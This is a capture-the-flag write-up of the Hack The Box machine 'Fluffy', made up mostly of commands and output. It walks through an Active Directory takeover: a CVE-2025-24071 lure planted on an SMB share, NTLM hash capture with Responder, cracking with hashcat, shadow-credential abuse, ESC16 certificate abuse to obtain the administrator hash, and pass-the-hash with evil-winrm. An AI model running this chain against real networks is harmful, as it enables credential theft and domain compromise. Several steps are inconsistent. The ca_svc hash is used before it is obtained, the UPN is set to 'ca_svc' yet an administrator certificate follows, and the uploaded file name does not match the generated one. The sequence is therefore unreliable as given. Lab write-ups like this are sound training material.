Hack The Box: Fluffy
Fluffy is an easy-difficulty machine from Hack The Box As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990! Exposed SMB share (CVE-2025-24071) –> p.agila handshake –> compromise p.agila –> abuse shadow credentials for winrm_svc –> exploit ESC16 to modify ca_svc UPN –> request administrator certificate with certipy –> extract administrator hash –> authenticate to WinRM as administrator –> get root flag.
Enumeration
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
┌──(venv)─(kali㉿kali)-[~/Downloads/fluffy]
└─$ nmap -A -v 10.10.11.69
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-04 17:41:33Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
|_ssl-date: 2025-07-04T17:43:09+00:00; +7h00m01s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
|_ssl-date: 2025-07-04T17:43:08+00:00; +7h00m01s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
|_ssl-date: 2025-07-04T17:43:09+00:00; +7h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-04T17:43:08+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| MD5: 2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
We have smb protocol port 445 open and we started with creds so using my tool i new tool that involves all phases of enumeration in Active Directory, I managed to extract everything from it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(venv)─(kali㉿kali)-[~/Desktop/ADTool]
└─$ python3 main.py smb_shell -ip 10.10.11.69 -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!'
[+] Successfully connected to 10.10.11.69
SMB Interactive Shell (type 'help' for commands)
SMB:none\> shares
[+] Getting shares via smb_enum...
[+] Connecting to SMB at 10.10.11.69 as fluffy.htb\j.fleischman
[+] Connected to 10.10.11.69
Share Permissions
----- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
IT READ, WRITE
NETLOGON READ
SYSVOL READ
My tool managed to extract the shares using the credentials we started with. I can admit this tool is really and easy one to use and also I have interface that are for beginners and you can fill up the informations you need and output will be shown a simple example is this :
So now that we have IT share got READ,WRITE permission. We can still use my module smb_shell to access shares and list files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
SMB:none\> use IT
[+] Using share IT
SMB:IT\> ls
[+] Contents of IT\:
Name Size Type
-------------------------------------------------------
Everything-1.4.1.1026.x64 0 DIR
Everything-1.4.1.1026.x64.zi 1827464 FILE
KeePass-2.58 0 DIR
KeePass-2.58.zip 3225346 FILE
Upgrade_Notice.pdf 169963 FILE
SMB:IT\>
We have an interesting pdf file that maybe we need to download it in out machine and inspect it.
1
2
3
SMB:IT\> download Upgrade_Notice.pdf /home/kali/Downloads/fluffy/Upgrade_Notice.pdf
[+] Downloaded IT\\Upgrade_Notice.pdf to /home/kali/Downloads/fluffy/Upgrade_Notice.pdf
SMB:IT\>
Now when reading the pdf file, my eyes got on the CVEs tables where different new CVEs are pressented with a score severity. Only one CVE was suspicious and got a POC in github which is the second one “CVE-2025-24071”.
I used this repository in github and downloaded PoC.py.
https://github.com/Marcejr117/CVE-2025-24071_PoC
So actually what this POC does is creating a malicious file zipped and when the victim open it, we can then take his NTLM hash that will be listed in our responder. So our first step here is to open a new responder that going to be listening to anything.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(kali㉿kali)-[~/Downloads/fluffy]
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] You don't have an IPv6 address assigned.
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.8.70.151]
Responder IPv6 [::1]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-NGYTTD8FJJU]
Responder Domain Name [U69V.LOCAL]
Responder DCE-RPC Port [46975]
[+] Listening for events...
After that we will use our PoC.py python script that will generate a malicious zipped file.
1
2
3
4
5
┌──(kali㉿kali)-[~/Downloads/fluffy]
└─$ python3 PoC.py test1 10.10.11.69
[+] File test1.library-ms created successfully.
So , now we have our exploit.zip file and if you remember we had the IT share which got write permission. So let’s go ahead and copy the malicious file into that share and wait for any user to access my file.
1
2
3
4
5
6
7
8
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ smbclient //10.10.11.69/IT -U 'j.fleischman' -p
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> put exploit.zip
putting file exploit.zip as \exploit.zip (0.8 kb/s) (average 0.8 kb/s)
smb: \>
1
2
3
4
5
6
7
8
9
10
11
12
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:4ac6c7a96011c3d3:3A6A264D2FC07A4661B7A52B7566711E:0101000000000000001E80B06E05DC016C93D8AE6803859D0000000002000800320054004F00560001001E00570049004E002D004A004E0058003600470033003000580053004500520004003400570049004E002D004A004E005800360047003300300058005300450052002E00320054004F0056002E004C004F00430041004C0003001400320054004F0056002E004C004F00430041004C0005001400320054004F0056002E004C004F00430041004C0007000800001E80B06E05DC01060004000200000008003000300000000000000001000000002000006CB70CBBC8592C647B06F62FA87611D12B538FBCCED457A215E642C0444317120A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360035000000000000000000
[*] Skipping previously captured hash for FLUFFY\p.agila
[*] Skipping previously captured hash for FLUFFY\p.agila
[*] Skipping previously captured hash for FLUFFY\p.agila
[*] Skipping previously captured hash for FLUFFY\p.agila
[*] Skipping previously captured hash for FLUFFY\p.agila
[*] Skipping previously captured hash for FLUFFY\p.agila
Let’s goooo!! We have a Hash of a user called “p.agila”. Let’s try to crack this hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 5 3600 6-Core Processor, 4301/8666 MB (2048 MB allocatable), 5MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
P.AGILA::FLUFFY:4ac6c7a96011c3d3:3a6a264d2fc07a4661b7a52b7566711e:0101000000000000001e80b06e05dc016c93d8ae
6803859d0000000002000800320054004f00560001001e00570049004e002d004a004e0
058003600470033003000580053004500520004003400570049004e002d004a004e0058
00360047003300300058005300450052002e00320054004f0056002e004c004f0043004
1004c0003001400320054004f0056002e004c004f00430041004c000500140032005400
4f0056002e004c004f00430041004c0007000800001e80b06e05dc01060004000200000
008003000300000000000000001000000002000006cb70cbb
c8592c647b06f62fa87611d12b538fbcced457a215e642c0444317120a0010000000000000000000
00000000000000000900220063006900660073002f00310030002e00310030002e0
0310034002e003100360035000000000000000000:prometheusx-303
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: P.AGILA::FLUFFY:4ac6c7a96011c3d3:3a6a264d2fc07a4661...000000
Time.Started.....: Mon Aug 4 18:43:27 2025 (3 secs)
Time.Estimated...: Mon Aug 4 18:43:30 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1813.9 kH/s (2.02ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4520960/14344385 (31.52%)
Rejected.........: 0/4520960 (0.00%)
Restore.Point....: 4515840/14344385 (31.48%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: proretriever -> private21
Hardware.Mon.#1..: Util: 49%
We have our password it’s “prometheusx-303” which is for the user “p.agila”. So, let’s use bloodhound. We need to understand the infrastructure and the relations.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ bloodhound-python -u p.agila -p 'prometheusx-303' -dc fluffy.htb -ns 10.10.11.69 -d fluffy.htb -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (fluffy.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 09S
INFO: Compressing output into 20250920085204_bloodhound.zip
Now that we have the zip file that contains the users,groups and acls. We will go to our Bloodhound GUI and search for potential vulnrabilities.
As you see here we have p.agila our current user is a member of SERVICE ACCOUNTS which has a GenericWrite over WINRM_SVC.
It’s our next potential path as it can give us access to windows remote management.
We can add p.agila to Service Accounts so we have genericwrite on the ca_svc:
1
2
3
4
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ bloodyAD --host dc01.fluffy.htb -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb add groupMember "SERVICE ACCOUNTS"
p.agila[+] p.agila added to SERVICE ACCOUNTS
we should now abuse shadow credentials using agila account:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ certipy-ad shadow auto -dc-ip '10.10.11.69' -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -account winrm_svc
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*]Certificate generated
[*]Generating Key Credential
[*]Key Credential generated with DeviceID '41b73771-9d63-53e9-3145-56e150cce6a7'
[*]Adding Key Credential with device ID '41b73771-9d63-53e9-3145-56e150cce6a7' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '41b73771-9d63-53e9-3145-56e150cce6a7' to the Key Credentials for 'winrm_svc'[*] Authenticating as 'winrm_svc' with the certificate[*] Using principal: winrm_svc@fluffy.htb
[*]Trying to get TGT...
[*] Got TGT
[*]Saved credential cache to 'winrm_svc.ccache'
[*]Trying to retrieve NT hash for 'winrm_svc'
[*]Restoring the old Key Credentials for 'winrm_svc'
[*]Successfully restored the old Key Credentials for 'winrm_svc'
[*]NT hash for 'winrm_svc': 33bd09dcd697600edf6b3a7af4875767
Niceee, now all we need to do is connect using winrm and get the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ evil-winrm -i 10.10.11.69 -u 'winrm_svc' -H '33bd09dcd697600edf6b3a7af4875767'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined...
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackp
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\winrm_svc\desktop> ls
Directory: C:\Users\winrm_svc\desktop
Mode LastWriteTime Length Name
--- ---------- ---------
-ar--- 5/29/2025 7:52 AM 34 user.txt
*Evil-WinRM* PS C:\Users\winrm_svc\desktop>
Let’s goo!! We have the user flag now. Now it’s time to go for the privilige escalation part.
Privilige Escalation
“WINRM_SVC” There doesn’t seem to be anything special about the user. But the CA_SVC seemed to have vulnrability in certificate templates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ certipy find -u ca_svc@fluffy.htb -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Certificate Subject : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
Certificate Serial Number : 3670C4A715B864BB497F7CD72119B6F5
Certificate Validity Start : 2025-04-17 16:00:16+00:00
Certificate Validity End : 3024-04-17 16:11:16+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FLUFFY.HTB\Administrators
Access Rights
ManageCa : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
ManageCertificates : FLUFFY.HTB\Domain Admins
FLUFFY.HTB\Enterprise Admins
FLUFFY.HTB\Administrators
Enroll : FLUFFY.HTB\Cert Publishers
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
If you guys have a problem in fetching the ESC16 vulnrability , you need to update te certipy tool from Certipy v4.8.2 to Certipy v5.0.2 because this vulnrability is discorvered 2 weeks before the release of this machine.
And we now claim the hash for ca_svc user :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ certipy-ad shadow auto -dc-ip '10.10.11.69' -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -account ca_svc
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '7203dfb1-1b0d-2033-9e2e-29d873aa865d'
[*] Adding Key Credential with device ID '7203dfb1-1b0d-2033-9e2e-29d873aa865d' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '7203dfb1-1b0d-2033-9e2e-29d873aa865d' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
Now we reupdate the UPN again:
1
2
3
4
5
6
7
8
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'dc01.fluffy.htb' -upn 'ca_svc' -user 'ca_svc' update
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Failed to resolve: FLUFFY.HTB
[*] Updating user 'ca_svc':
userPrincipalName : ca_svc
[*] Successfully updated 'ca_svc'
Now I need to request a certificate as ca_svc:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ certipy req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 18
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
And we can now authenticate as administrator:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -u administrator -domain fluffy.htb
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
We can use the pass-the-hash trick again with the “evil-winrm” and get an interactive shell.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(sanke㉿vbox)-[~/Downloads/fluffy]
└─$ evil-winrm -i fluffy.htb -u Administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_poc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator
Root flag is on Administrator’s desktop. And that wraps up the Fluffy machine. I loved this machine!!



